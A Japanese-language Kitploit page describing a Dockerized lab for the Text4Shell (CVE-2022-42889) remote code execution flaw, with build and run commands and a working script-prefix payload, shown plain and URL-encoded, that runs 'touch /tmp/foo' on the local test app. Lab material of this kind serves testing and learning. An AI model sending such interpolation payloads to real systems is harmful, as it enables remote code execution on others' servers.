cve-2022-42889-text4shell-docker — CVE-2022-42889 (Text4Shell) RCE脆弱性をテストするためのDocker化されたラボ環境。script、DNS、URLルックアッププレフィックスを使用したステップバイステップの悪用手順付き。 | Kitploit

cve-2022-42889-text4shell-docker — CVE-2022-42889 (Text4Shell) RCE脆弱性をテストするためのDocker化されたラボ環境。script、DNS、URLルックアッププレフィックスを使用したステップバイステップの悪用手順付き。 | Kitploit

Mavenのインストール - maven-linux

Mavenをインストールしてfat jarを作成する

mvn clean install

Dockerビルド

docker build --tag=text4shell .

Docker実行

docker run -p 80:8080 text4shell

アプリをテストする

http://localhost/text4shell/attack?search=<anything>

攻撃は、前述のルックアップであるプレフィックスを使用して文字列「${prefix:name}」を渡すことで実行できます:

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

dns または url プレフィックスを使用してみることもできます。
コンテナIDを取得する

docker container ls

アプリの中に入る

docker exec -it <container_id> bash

上記のRCEが成功したか確認するには（/tmpディレクトリにfooというファイルが作成されているはずです）：

ls /tmp/

コンテナを停止する

docker container stop <container_id>

ツールをダウンロード